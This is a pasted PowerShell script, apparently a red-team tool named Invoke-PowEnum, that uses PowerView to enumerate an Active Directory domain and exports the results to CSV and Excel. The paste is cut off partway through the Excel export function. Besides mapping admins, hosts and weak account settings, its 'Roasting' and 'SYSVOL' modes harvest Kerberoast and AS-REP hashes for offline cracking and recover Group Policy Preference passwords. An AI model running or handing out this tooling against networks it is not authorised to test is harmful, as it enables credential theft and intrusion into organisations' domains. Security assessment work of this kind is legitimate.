· 6 years ago · Apr 02, 2019, 01:54 AM
1#requires -version 2
2
3function Invoke-PowEnum {
4
5[CmdletBinding(DefaultParameterSetName="FQDN")]
6Param(
7 [Parameter(Position = 0)]
8 [String]
9 $FQDN,
10
11 [Parameter(Position = 1)]
12 [ValidateSet('Basic', 'Roasting', 'LargeEnv', 'Special', 'SYSVOL', 'Forest')]
13 [String]
14 $Mode = 'Basic',
15
16 [Parameter(ParameterSetName = 'Credential')]
17 [Management.Automation.PSCredential]
18 [Management.Automation.Credential()]
19 $Credential = [System.Management.Automation.PSCredential]::Empty,
20
21 [Parameter(Position = 3)]
22 [Switch]
23 $NoExcel
24)
25
26 #Supprese Errors and Warnings
27 $ErrorActionPreference = 'Continue'
28 $WarningPreference = "SilentlyContinue"
29
30 Write-Host "Current Date/Time: $(Get-Date)" -ForegroundColor Cyan
31
32 if ($NoExcel -eq $False){
33 try{$Excel = New-Object -ComObject excel.application}
34 catch{Write-Host "Is Excel Installed? Disabling Excel Output";$NoExcel = $True}
35 }
36
37 #Start Stopwatch
38 $stopwatch = [system.diagnostics.stopwatch]::startnew()
39
40 $Summary = $null
41
42 #Uses PowerView to create a new "runas /netonly" type logon and impersonate the token.
43 if ($Credential -ne [System.Management.Automation.PSCredential]::Empty){
44 try{
45 $NetworkCredential = $Credential.GetNetworkCredential()
46 $Domain = $NetworkCredential.Domain
47 $UserName = $NetworkCredential.UserName
48 Write-Host "Impersonate user: $Domain\$Username | " -NoNewLine
49 $Null = Invoke-UserImpersonation -Credential $Credential
50 Write-Host "Success" -ForegroundColor Green
51 }catch{Write-Host "Error: $_" -ForegroundColor Red; Return}
52 }
53
54
55 Write-Host "Enumeration Domain: " -ForegroundColor Cyan -NoNewLine
56
57 #Grab Local Domain
58 if ($FQDN) {Write-Host "$FQDN" -ForegroundColor Cyan}
59 elseif (!$FQDN) {
60 $FQDN = (Get-Domain).Name
61 Write-Host "$FQDN" -ForegroundColor Cyan
62 }
63
64 #If the domain is still empty
65 if (!$FQDN -or $FQDN -eq "") {Write-Host "Unable to retrieve domain (make sure the FQDN, username, and password are correct), exiting..." -ForegroundColor Red; Return}
66
67 #Quick check, if no DCs then something is wrong
68 if ((Get-DomainController -Domain $FQDN) -eq $Null){Write-Host "Unable to retrieve domain controllers (make sure the FQDN, username, and password are correct), exiting..." -ForegroundColor Red; Return}
69
70 #Set up spreadsheet arrary and count
71 $script:ExportSheetCount = 1
72 $script:ExportSheetFileArray = @()
73
74 Write-Host "Enumeration Mode: $Mode" -ForegroundColor Cyan
75
76 if ($Mode -eq 'Basic') {
77 $script:ExportSheetCount = 1
78 $script:ExportSheetFileArray = @()
79 PowEnum-DAs
80 PowEnum-EAs
81 PowEnum-BltAdmins
82 PowEnum-DCLocalAdmins
83 PowEnum-SchemaAdmins
84 PowEnum-AccountOperators
85 PowEnum-BackupOperators
86 PowEnum-PrintOperators
87 PowEnum-ServerOperators
88 PowEnum-GPCreatorsOwners
89 PowEnum-CryptographicOperators
90 PowEnum-AdminCount
91 PowEnum-GroupManagers
92 PowEnum-Users
93 PowEnum-Groups
94 PowEnum-CreateSummary
95 PowEnum-ExcelFile -SpreadsheetName Basic-UsersAndGroups
96
97 $script:ExportSheetCount = 1
98 $script:ExportSheetFileArray = @()
99 PowEnum-NetSess
100 PowEnum-DCs
101 PowEnum-IPs
102 PowEnum-Subnets
103 PowEnum-DNSRecords
104 PowEnum-WinRM
105 PowEnum-FileServers
106 PowEnum-Computers
107 PowEnum-ExcelFile -SpreadsheetName Basic-HostsAndSessions
108 }
109 elseif ($Mode -eq 'Roasting') {
110 try {
111 PowEnum-ASREPRoast
112 }catch {Write-Host "Error: $_" -ForegroundColor Red}
113 PowEnum-Kerberoast
114 PowEnum-ExcelFile -SpreadsheetName Roasting
115 }
116 elseif ($Mode -eq 'LargeEnv') {
117 $script:ExportSheetCount = 1
118 $script:ExportSheetFileArray = @()
119 PowEnum-DAs
120 PowEnum-EAs
121 PowEnum-BltAdmins
122 PowEnum-DCLocalAdmins
123 PowEnum-SchemaAdmins
124 PowEnum-AccountOperators
125 PowEnum-BackupOperators
126 PowEnum-PrintOperators
127 PowEnum-ServerOperators
128 PowEnum-GPCreatorsOwners
129 PowEnum-CryptographicOperators
130 PowEnum-GroupManagers
131 PowEnum-CreateSummary
132 PowEnum-ExcelFile -SpreadsheetName Large-Users
133
134 $script:ExportSheetCount = 1
135 $script:ExportSheetFileArray = @()
136 PowEnum-NetSess
137 PowEnum-DCs
138 PowEnum-Subnets
139 PowEnum-DNSRecords
140 PowEnum-WinRM
141 PowEnum-FileServers
142 PowEnum-ExcelFile -SpreadsheetName Large-HostsAndSessions
143 }
144 elseif ($Mode -eq 'Special') {
145 PowEnum-Disabled
146 PowEnum-PwNotReq
147 PowEnum-PwNotExp
148 PowEnum-PwNotExpireNotReq
149 PowEnum-SmartCardReq
150 PowEnum-SmartCardReqPwNotReq
151 PowEnum-SmartCardReqPwNotExp
152 PowEnum-ExcelFile -SpreadsheetName Special
153 }
154 elseif ($Mode -eq 'SYSVOL') {
155 try {
156 PowEnum-GPPPassword
157 }catch {Write-Host "Error: $_" -ForegroundColor Red}
158 PowEnum-SYSVOLFiles
159 PowEnum-LocalGroupChanges
160 PowEnum-ExcelFile -SpreadsheetName SYSVOL
161 }
162 elseif ($Mode -eq 'Forest') {
163 PowEnum-DomainTrusts
164 PowEnum-ForeignUsers
165 PowEnum-ForeignGroupMembers
166 PowEnum-GPPPassword-Forest
167 PowEnum-ExcelFile -SpreadsheetName SYSVOL
168 }
169 else {
170 Write-Host "Incorrect Mode Selected"
171 Return
172 }
173
174 #reverting Token
175 if ($Credential -ne [System.Management.Automation.PSCredential]::Empty){
176 try{
177 $NetworkCredential = $Credential.GetNetworkCredential()
178 $Domain = $NetworkCredential.Domain
179 $UserName = $NetworkCredential.UserName
180 Write-Host "Reverting Token from: $Domain\$Username | " -NoNewLine
181 $Null = Invoke-RevertToSelf
182 Write-Host "Success" -ForegroundColor Green
183 }catch{Write-Host "Error: $_" -ForegroundColor Red; Return}
184}
185
186 $script:ExportSheetCount = $null
187 $script:ExportSheetFileArray = $null
188 $Summary = $null
189 [System.GC]::Collect()
190 [System.GC]::WaitForPendingFinalizers()
191
192 $stopwatch.Stop()
193 $elapsedtime = "{0:N0}" -f ($stopwatch.Elapsed.TotalSeconds)
194 Write-Host $("Running Time: " + $elapsedtime + "s") -ForegroundColor Cyan
195 Write-Host "Current Date/Time: $(Get-Date)" -ForegroundColor Cyan
196 Write-Host "Exiting..." -ForegroundColor Yellow
197}
198
199function PowEnum-DCs {
200 try {
201 Write-Host "[ ]Domain Controllers | " -NoNewLine
202 $temp = Get-DomainController -Domain $FQDN | Select-Object Name, IPAddress, Domain, Forest, OSVersion, SiteName
203 PowEnum-ExportAndCount -TypeEnum DCs
204 }catch {Write-Host "Error: $_" -ForegroundColor Red}
205}
206
207function PowEnum-DAs {
208 try {
209 Write-Host "[ ]Domain Admins (DA) | " -NoNewLine
210 $temp = Get-DomainGroupMember -Identity "Domain Admins" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
211 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"DAs"}})}
212 PowEnum-ExportAndCount -TypeEnum DAs
213 }catch {Write-Host "Error: $_" -ForegroundColor Red}
214}
215
216function PowEnum-EAs {
217 try {
218 Write-Host "[ ]Enterprise Admins (EA) | " -NoNewLine
219 $temp = Get-DomainGroupMember -Identity "Enterprise Admins" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
220 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"EAs"}})}
221 PowEnum-ExportAndCount -TypeEnum EAs
222 }catch {Write-Host "Error: $_" -ForegroundColor Red}
223}
224
225function PowEnum-SchemaAdmins {
226 try {
227 Write-Host "[ ]Schema Admins (SA) | " -NoNewLine
228 $temp = Get-DomainGroupMember -Identity "Schema Admins" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
229 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"SAs"}})}
230 PowEnum-ExportAndCount -TypeEnum SAs
231 }catch {Write-Host "Error: $_" -ForegroundColor Red}
232}
233
234function PowEnum-AccountOperators {
235 try {
236 Write-Host "[ ]Account Operators (AO) | " -NoNewLine
237 $temp = Get-DomainGroupMember -Identity "Account Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
238 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"AOs"}})}
239 PowEnum-ExportAndCount -TypeEnum AOs
240 }catch {Write-Host "Error: $_" -ForegroundColor Red}
241}
242
243function PowEnum-BackupOperators {
244 try {
245 Write-Host "[ ]Backup Operators (BO) | " -NoNewLine
246 $temp = Get-DomainGroupMember -Identity "Backup Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
247 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"BOs"}})}
248 PowEnum-ExportAndCount -TypeEnum BOs
249 }catch {Write-Host "Error: $_" -ForegroundColor Red}
250}
251
252function PowEnum-PrintOperators {
253 try {
254 Write-Host "[ ]Print Operators (PO) | " -NoNewLine
255 $temp = Get-DomainGroupMember -Identity "Print Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
256 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"POs"}})}
257 PowEnum-ExportAndCount -TypeEnum POs
258 }catch {Write-Host "Error: $_" -ForegroundColor Red}
259}
260
261function PowEnum-ServerOperators {
262 try {
263 Write-Host "[ ]Server Operators (SO) | " -NoNewLine
264 $temp = Get-DomainGroupMember -Identity "Server Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
265 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"SOs"}})}
266 PowEnum-ExportAndCount -TypeEnum SOs
267 }catch {Write-Host "Error: $_" -ForegroundColor Red}
268}
269
270function PowEnum-GPCreatorsOwners {
271 try {
272 Write-Host "[ ]Group Policy Creators Owners | " -NoNewLine
273 $temp = Get-DomainGroupMember -Identity "Group Policy Creators Owners" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
274 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"GPCreatorsOwners"}})}
275 PowEnum-ExportAndCount -TypeEnum GPCreatorsOwners
276 }catch {Write-Host "Error: $_" -ForegroundColor Red}
277}
278
279function PowEnum-CryptographicOperators {
280 try {
281 Write-Host "[ ]Cryptographic Operators (CO) | " -NoNewLine
282 $temp = Get-DomainGroupMember -Identity "Cryptographic Operators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
283 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"COs"}})}
284 PowEnum-ExportAndCount -TypeEnum COs
285 }catch {Write-Host "Error: $_" -ForegroundColor Red}
286}
287
288function PowEnum-BltAdmins {
289 try {
290 Write-Host "[ ]Builtin Administrators (BA) | " -NoNewLine
291 $temp = Get-DomainGroupMember -Identity "Administrators" -Recurse -Domain $FQDN | Select-Object MemberName, GroupName, MemberDomain, MemberObjectClass
292 if($temp -ne $null){$script:Summary += ($temp | Select-Object *,@{N="Source";E={"BAs"}})}
293 PowEnum-ExportAndCount -TypeEnum BAs
294 }catch {Write-Host "Error: $_" -ForegroundColor Red}
295}
296
297function PowEnum-AdminCount {
298 try {
299 Write-Host "[ ]All Users With AdminCount=1 | " -NoNewLine
300 $temp = Get-DomainUser -AdminCount -Domain $FQDN |
301 Select-Object samaccountname, description, @{N="MemberOf";E={
302 $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
303 $ConvertedGroupNames -join "; "}},
304 pwdlastset, admincount, distinguishedname, userprincipalname, serviceprincipalname, useraccountcontrol, iscriticalsystemobject
305 if($temp -ne $null){
306 $script:Summary += (
307 $temp | Select-Object @{N="MemberName";E={$_.samaccountname}},
308 @{N="MemberDomain";E={"$FQDN"}},
309 @{N="Source";E={"AdminCount"}}
310 )
311 }
312 PowEnum-ExportAndCount -TypeEnum AdminCount
313 }catch {Write-Host "Error: $_" -ForegroundColor Red}
314}
315
316function PowEnum-Users {
317 try {
318 Write-Host "[ ]All Domain Users (this could take a while) | " -NoNewLine
319 $temp = Get-DomainUser -Domain $FQDN |
320 Select-Object samaccountname, description, @{N="MemberOf";E={
321 $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
322 $ConvertedGroupNames -join "; "}},
323 pwdlastset, admincount, distinguishedname, userprincipalname, serviceprincipalname, useraccountcontrol, iscriticalsystemobject
324 PowEnum-ExportAndCount -TypeEnum AllUsers
325 }catch {Write-Host "Error: $_" -ForegroundColor Red}
326}
327
328function PowEnum-Groups {
329 try {
330 Write-Host "[ ]All Domain Groups (this could take a while) | " -NoNewLine
331 $temp = Get-DomainGroup -Domain $FQDN | Select-Object samaccountname, admincount, description, iscriticalsystemobject,
332 @{N="MemberOf";E={
333 $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
334 $ConvertedGroupNames -join "; "}}
335 PowEnum-ExportAndCount -TypeEnum AllGroups
336 }catch {Write-Host "Error: $_" -ForegroundColor Red}
337}
338
339function PowEnum-Computers {
340 try {
341 Write-Host "[ ]All Domain Computers (this could take a while) | " -NoNewLine
342 $temp = Get-DomainComputer -Domain $FQDN | Select-Object samaccountname, dnshostname, operatingsystem, operatingsystemversion, operatingsystemservicepack, lastlogon, badpwdcount, iscriticalsystemobject, distinguishedname,
343 @{N="MemberOf";E={
344 $ConvertedGroupNames = ForEach-Object {$_.MemberOf | Convert-ADName -OutputType NT4 -Domain $FQDN};
345 $ConvertedGroupNames -join "; "}}
346 PowEnum-ExportAndCount -TypeEnum AllComputers
347 }catch {Write-Host "Error: $_" -ForegroundColor Red}
348}
349
350function PowEnum-IPs {
351 try {
352 Write-Host "[ ]All Domain Computer IP Addresses | " -NoNewLine
353 $temp = Get-DomainComputer -Domain $FQDN | Resolve-IPAddress
354 PowEnum-ExportAndCount -TypeEnum IPs
355 }catch {Write-Host "Error: $_" -ForegroundColor Red}
356}
357
358function PowEnum-DCLocalAdmins {
359 try {
360 Write-Host "[ ]All Domain Controller Local Admins (DCLA) | " -NoNewLine
361
362 $temp = $null
363
364 Get-DomainController | ForEach-Object {
365 $Domain_Controller_Hostname = $_
366
367 #Get Local Admins On DC using WinNT method because the other method doesnt properly account for the local admin SID being the domain SID
368 $DomainController_LocalAdmin = Get-NetLocalGroupMember -Method WinNT -ComputerName $Domain_Controller_Hostname
369
370 #If the local admin is a group and domain then recursively get all members and add to table
371 $DomainController_LocalAdmin_DomainGroupMembers = $DomainController_LocalAdmin |
372 Where-Object {$_.IsGroup -eq $TRUE -and $_.IsDomain -eq $TRUE} |
373 ForEach-Object {$_.AccountName.Substring($_.AccountName.IndexOf("\")+1)} |
374 Get-DomainGroupMember -Recurse -Domain $FQDN |
375 Select-Object @{N="ComputerName";E={"$Domain_Controller_Hostname"}},
376 @{N="AccountName";E={-join ($_.MemberDomain, "\", $_.MemberName)}},
377 @{N="SID";E={-join ($_.MemberSID)}},
378 @{N="IsGroup";E={"$False"}},
379 @{N="IsDomain";E={"$True"}},
380 @{N="GroupName";E={"$($_.GroupName)"}}
381
382 #Get all local admins with an empty groupname and change the $null value to a string (prevents excel export issues)
383 $DomainController_LocalAdmin_DomainGroupMembers = $DomainController_LocalAdmin_DomainGroupMembers |
384 Select-Object ComputerName,AccountName,SID,IsGroup,IsDomain, @{
385 Label = "GroupName"
386 Expression = { if ($_.GroupName) { $_.GroupName } else { "No Data" } }
387 }
388
389 $DomainController_LocalAdmin += $DomainController_LocalAdmin_DomainGroupMembers |
390 Select-Object ComputerName, GroupName, AccountName, SID, isGroup, isDomain
391
392 $script:Summary += ($DomainController_LocalAdmin |
393 Select-Object @{N="MemberName";E={$_.AccountName.Substring($_.AccountName.IndexOf("\")+1)}},
394 @{N="MemberDomain";E={$_.AccountName.Substring(0,$_.AccountName.IndexOf("\"))}},
395 @{N="Source";E={"DCLocalAdmins"}}
396 )
397
398 $temp += $DomainController_LocalAdmin
399 }
400
401 PowEnum-ExportAndCount -TypeEnum DCLAs
402 }catch {Write-Host "Error: $_" -ForegroundColor Red}
403}
404
405function PowEnum-Subnets {
406 try {
407 Write-Host "[ ]Domain Subnets | " -NoNewLine
408 $temp = Get-DomainSubnet -Domain $FQDN
409 PowEnum-ExportAndCount -TypeEnum Subnets
410 }catch {Write-Host "Error: $_" -ForegroundColor Red}
411}
412
413function PowEnum-DNSRecords {
414 #try {
415 Write-Host "[ ]DNS Zones & Records | " -NoNewLine
416 $DnsZones = Get-DomainDNSZone -Domain $FQDN
417 if ($DnsZones -ne $null) {
418 $temp = $DnsZones | Get-DomainDNSRecord -ErrorAction SilentlyContinue
419 }
420 PowEnum-ExportAndCount -TypeEnum DNSRecords
421 #}catch {Write-Host ""}
422}
423
424function PowEnum-NetSess {
425 try {
426 Write-Host "[ ]Net Sessions | " -NoNewLine
427 $temp = Get-DomainController -Domain $FQDN | Get-NetSession | ?{$_.UserName -notlike "*$"}
428 PowEnum-ExportAndCount -TypeEnum NetSess
429 }catch {Write-Host "Error: $_" -ForegroundColor Red}
430}
431
432function PowEnum-WinRM {
433 try {
434 Write-Host "[ ]WinRm (Powershell Remoting) Enabled Hosts | " -NoNewLine
435 $temp = Get-DomainComputer -Domain $FQDN -LDAPFilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -SPN "wsman*" -Properties dnshostname,operatingsystem,distinguishedname
436 PowEnum-ExportAndCount -TypeEnum WinRM
437 }catch {Write-Host "Error: $_" -ForegroundColor Red}
438}
439
440function PowEnum-Disabled {
441 try{
442 Write-Host "[ ]Disabled Account | " -NoNewLine
443 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '514'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
444 PowEnum-ExportAndCount -TypeEnum Disabled
445 }catch {Write-Host "Error: $_" -ForegroundColor Red}
446}
447
448function PowEnum-PwNotReq {
449 try{
450 Write-Host "[ ]Enabled, Password Not Required | " -NoNewLine
451 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '544'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
452 PowEnum-ExportAndCount -TypeEnum PwNotReq
453 }catch {Write-Host "Error: $_" -ForegroundColor Red}
454}
455
456function PowEnum-PwNotExp {
457 try{
458 Write-Host "[ ]Enabled, Password Doesn't Expire | " -NoNewLine
459 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '66048'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
460 PowEnum-ExportAndCount -TypeEnum PwNotExpire
461 }catch {Write-Host "Error: $_" -ForegroundColor Red}
462}
463
464function PowEnum-PwNotExpireNotReq {
465 try{
466 Write-Host "[ ]Enabled, Password Doesn't Expire & Not Required | " -NoNewLine
467 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '66080'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
468 PowEnum-ExportAndCount -TypeEnum PwNotExpireNotReq
469 }catch {Write-Host "Error: $_" -ForegroundColor Red}
470}
471
472function PowEnum-SmartCardReq {
473 try{
474 Write-Host "[ ]Enabled, Smartcard Required | " -NoNewLine
475 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '262656'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
476 PowEnum-ExportAndCount -TypeEnum SmartCardReq
477 }catch {Write-Host "Error: $_" -ForegroundColor Red}
478}
479
480function PowEnum-SmartCardReqPwNotReq {
481 try{
482 Write-Host "[ ]Enabled, Smartcard Required, Password Not Required | " -NoNewLine
483 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '262688'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
484 PowEnum-ExportAndCount -TypeEnum SmartCardReqPwNotReq
485 }catch {Write-Host "Error: $_" -ForegroundColor Red}
486}
487
488function PowEnum-SmartCardReqPwNotExp {
489 try{
490 Write-Host "[ ]Enabled, Smartcard Required, Password Doesn't Expire | " -NoNewLine
491 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '328192'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
492 PowEnum-ExportAndCount -TypeEnum SmartCardReqPwNotExp
493 }catch {Write-Host "Error: $_" -ForegroundColor Red}
494}
495
496function PowEnum-SmartCardReqPwNotExpNotReq {
497 try{
498 Write-Host "[ ]Enabled, Smartcard Required, Password Doesn't Expire & Not Required | " -NoNewLine
499 $temp = Get-DomainUser -Domain $FQDN | Where-Object {$_.useraccountcontrol -eq '328224'} | Select-Object samaccountname, description, pwdlastset, iscriticalsystemobject, admincount, memberof, distinguishedname
500 PowEnum-ExportAndCount -TypeEnum SmartCardReqPwNotExpNotReq
501 }catch {Write-Host "Error: $_" -ForegroundColor Red}
502}
503
504function PowEnum-ASREPRoast {
505 try{
506 Write-Host "[ ]ASREProast (John Format) | " -NoNewLine
507 $temp = Invoke-ASREPRoast -Domain $FQDN
508 PowEnum-ExportAndCount -TypeEnum ASREPRoast
509 }catch {Write-Host "Error: $_" -ForegroundColor Red}
510}
511
512function PowEnum-Kerberoast {
513 try{
514 Write-Host "[ ]Kerberoast (Hashcat Format) | " -NoNewLine
515 $temp = Invoke-Kerberoast -Domain $FQDN -WarningAction silentlyContinue
516 PowEnum-ExportAndCount -TypeEnum Kerberoast
517 }catch {Write-Host "Error: $_" -ForegroundColor Red}
518}
519
520function PowEnum-GPPPassword {
521 try{
522 Write-Host "[ ]GPP Password(s) | " -NoNewLine
523 $temp = Get-GPPPassword -Server $FQDN
524 PowEnum-ExportAndCount -TypeEnum GPPPassword
525 }catch {Write-Host "Error: $_" -ForegroundColor Red}
526}
527
528function PowEnum-GPPPassword-Forest {
529 try{
530 Write-Host "[ ]GPP Password(s) [Forest] | " -NoNewLine
531 $temp = Get-GPPPassword -Server $FQDN -SearchForest
532 PowEnum-ExportAndCount -TypeEnum GPPPassword-Forest
533 }catch {Write-Host "Error: $_" -ForegroundColor Red}
534}
535
536function PowEnum-SYSVOLFiles {
537 try{
538 Write-Host "[ ]Potential logon scripts on \\$FQDN\SYSVOL | " -NoNewLine
539 $temp = Find-InterestingFile -Path \\$FQDN\sysvol -Include @('*.vbs', '*.bat', '*.ps1', '.cmd') -Verbose
540 PowEnum-ExportAndCount -TypeEnum SYSVOLFiles
541 }catch {Write-Host "Error: $_" -ForegroundColor Red}
542}
543
544function PowEnum-GroupManagers {
545 try{
546 Write-Host "[ ]AD Group Managers | " -NoNewLine
547 $temp = Get-DomainManagedSecurityGroup -Domain $FQDN
548 PowEnum-ExportAndCount -TypeEnum GroupManagers
549 }catch {Write-Host "Error: $_" -ForegroundColor Red}
550}
551
552function PowEnum-FileServers {
553 try{
554 Write-Host "[ ]Potential Fileservers | " -NoNewLine
555 $temp = Get-DomainFileServer -Domain $FQDN | Select-Object @{Name='FileServerName';Expression={$_}}
556 PowEnum-ExportAndCount -TypeEnum FileServers
557 }catch {Write-Host "Error: $_" -ForegroundColor Red}
558}
559
560function PowEnum-DomainTrusts {
561 try{
562 Write-Host "[ ]Domain Trusts | " -NoNewLine
563 $temp = Get-DomainTrust -Domain $FQDN
564 PowEnum-ExportAndCount -TypeEnum DomainTrusts
565 }catch {Write-Host "Error: $_" -ForegroundColor Red}
566}
567
568function PowEnum-ForeignUsers {
569 try{
570 Write-Host "[ ]Foreign [Domain] Users | " -NoNewLine
571 $temp = Get-DomainForeignUser -Domain $FQDN
572 PowEnum-ExportAndCount -TypeEnum ForeignUsers
573 }catch {Write-Host "Error: $_" -ForegroundColor Red}
574}
575
576function PowEnum-ForeignGroupMembers {
577 try{
578 Write-Host "[ ]Foreign [Domain] Group Members | " -NoNewLine
579 $temp = Get-DomainForeignGroupMember -Domain $FQDN
580 PowEnum-ExportAndCount -TypeEnum ForeignGroupMembers
581 }catch {Write-Host "Error: $_" -ForegroundColor Red}
582}
583
584function PowEnum-ReplicationRights {
585 try{
586 Write-Host "[ ]All Users With Replication Rights (DCSync) | " -NoNewLine
587 $temp =
588 Get-ObjectACL -ResolveGUIDs | ? {
589 ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
590 } | Select-Object -ExpandProperty SecurityIdentifier | ConvertFrom-SID
591 PowEnum-ExportAndCount -TypeEnum ForeignGroupMembers
592 }catch {Write-Host "Error: $_" -ForegroundColor Red}
593}
594
595function PowEnum-LocalGroupChanges {
596 try{
597 Write-Host "[ ]All Local Group Membership Modifications (GPO or GPP) | " -NoNewLine
598 $temp = Get-DomainGPOLocalGroup
599 PowEnum-ExportAndCount -TypeEnum LocalGroupsChanges
600 }catch {Write-Host "Error: $_" -ForegroundColor Red}
601}
602
603function PowEnum-CreateSummary {
604 try{
605 Write-Host "[ ]Creating Summary | " -NoNewLine
606 $HVTList = $null
607 $HVTList = $script:Summary
608
609 $NewHVTList = $null
610 $NewHVTList = @()
611 foreach ($HVTUser in $HVTList) {
612
613 #Create object list for this specific user (other words: grab all objects (groups) related to this username)
614 $UserObjectList = $HVTList | Where-Object {$_.MemberName -contains $HVTUser.MemberName}
615 $UsernameCount = $($UserObjectList | Measure-Object).Count
616
617 #If the new HVT List already contains this user then skip because all entries would have been added already
618 if ($($NewHVTList | Where-Object{$_.MemberName -eq $HVTUser.MemberName}).count -gt 0) {continue}
619
620 #If the object is a group (not a user) then continue to next user
621 elseif ($HVTUser.MemberObjectClass -eq "Group") {continue}
622
623 #If more then one entry for this user, take each unique source, join it with the groups
624 elseif ($UsernameCount -gt 1) {
625 $GroupList = $($UserObjectList | Select-Object -Property Source -Unique)
626
627 $GroupListStringTemp = $null
628 $null = $GroupList | ForEach-Object {$GroupListStringTemp += $_.Source + ","}
629 $GroupListStringTemp = $GroupListStringTemp.Substring(0,$GroupListStringTemp.Length-1)
630
631 $CombinedUserObject = ($UserObjectList | Select-Object -First 1 MemberName,MemberDomain,@{n='Sources';e={$GroupListStringTemp}})
632 $NewHVTList += $CombinedUserObject
633 continue
634 }
635 elseif ($UsernameCount -eq 1) {
636 $CombinedUserObject = ($UserObjectList | Select-Object -First 1 MemberName,MemberDomain,@{n='Sources';e={$_.Source}})
637 $NewHVTList += $CombinedUserObject
638 continue
639 }
640 }
641
642 $temp = $NewHVTList | Select-Object * -Unique
643 PowEnum-ExportAndCount -TypeEnum Summary
644 }catch {Write-Host "Error: $_" -ForegroundColor Red}
645}
646
647function PowEnum-ExportAndCount {
648 Param(
649 [Parameter(Position = 0)]
650 [String]
651 $TypeEnum
652 )
653
654 if($temp -ne $null){
655
656 #Grab the file name and the full path
657 $exportfilename = $FQDN.Substring(0,$FQDN.IndexOf(".")) + '_' + $TypeEnum + '.csv'
658 $exportfilepath = (Get-Item -Path ".\" -Verbose).FullName + '\' + $exportfilename
659
660 #Perform the actual export
661 $temp | Select-Object * | Export-CSV -NoTypeInformation -Path ('.\' + $exportfilename)
662
663 #Create new file object and add to array
664 $ExportSheetFile = new-object psobject
665 $ExportSheetFile | add-member NoteProperty Name $exportfilename
666 $ExportSheetFile | add-member NoteProperty FullName $exportfilepath
667
668 if($TypeEnum -eq "Summary") {
669 $TempExportSheetFileArray = @()
670 $TempExportSheetFileArray = $script:ExportSheetFileArray
671 $script:ExportSheetFileArray = @()
672 $script:ExportSheetFileArray += $ExportSheetFile
673 $script:ExportSheetFileArray += $TempExportSheetFileArray
674 }
675 else {$script:ExportSheetFileArray += $ExportSheetFile}
676
677 $count = $temp | measure-object | select-object -expandproperty Count
678 }
679 if($temp -eq $null){
680 $count = 0
681 }
682 Write-Host "$count Identified" -ForegroundColor Green
683 $script:ExportSheetCount++
684}
685
686function PowEnum-ExcelFile {
687 Param(
688 [Parameter(Position = 0, Mandatory = $True)]
689 [String]
690 $SpreadsheetName
691 )
692 if ($NoExcel -eq $True) {Return}
693
694 try {
695 Write-Host "[ ]Combining csv file(s) to xlsx | " -NoNewLine -ForegroundColor Cyan
696
697 #Exit if enumeration resulting in nothing
698 if($script:ExportSheetFileArray.Count -eq 0){Write-Warning "No Data Identified"; Return}
699
700 $path = (Get-Item -Path ".\" -Verbose).FullName
701 $XLOutput = $path + "\" +
702 $FQDN + "_" +
703 $SpreadsheetName.Substring($SpreadsheetName.IndexOf("_")+1) + "_" +
704 $(get-random) + ".xlsx"
705
706 # Create Excel object (visible), workbook and worksheet
707 $Excel = New-Object -ComObject excel.application
708 $Excel.visible = $false
709 $Excel.sheetsInNewWorkbook = $script:ExportSheetFileArray.Count
710 $workbooks = $excel.Workbooks.Add()
711 $CSVSheet = 1
712
713 Foreach ($CSV in $script:ExportSheetFileArray) {
714
715 $worksheets = $workbooks.worksheets
716 $CSVFullPath = $CSV.FullName
717
718 $CSVName = ($CSV.name -split "\.")[0]
719 $SheetName = ($CSVName.Substring($CSVName.LastIndexOf("_")+1))
